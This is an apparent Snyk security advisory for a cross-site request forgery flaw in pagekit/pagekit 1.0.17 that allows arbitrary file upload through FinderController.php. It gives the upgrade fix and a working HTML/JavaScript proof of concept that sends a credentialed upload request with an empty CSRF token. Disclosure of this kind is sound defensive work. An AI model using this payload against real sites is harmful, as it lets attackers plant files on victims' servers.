Cross-site Request Forgery (CSRF) Affecting pagekit/pagekit package, versions >=1.0.17, <1.0.18


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.12% (48th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PAGEKITPAGEKIT-5781380
  • published19 Jul 2023
  • disclosed24 May 2022
  • creditChristian Bortone

Introduced: 24 May 2022

CVE-2019-19013  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade pagekit/pagekit to version 1.0.18 or higher.

Overview

pagekit/pagekit is a modular and lightweight CMS built with Symfony components and Vue.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via FinderController.php which allows an attacker to upload an arbitrary file by removing the CSRF token from a request.

PoC

<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);

        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");

        xhr.setRequestHeader("Accept", "*\/*");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

        xhr.withCredentials = true;

        var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +

          "Content-Type: image/jpeg\r\n" +

          "\r\n" +

          "\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"path\"\r\n" +

          "\r\n" +

          "/\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"root\"\r\n" +

          "\r\n" +

          "storage\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"_csrf\"\r\n" +

          "\r\n" +

          "\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i);

        xhr.send(new Blob([aBody]));

      }

      submitRequest();

    </script>

    <form action="#">

      <input type="button" value="Submit request" onclick="submitRequest();" />

    </form>

  </body>

</html>

CVSS Scores

version 3.1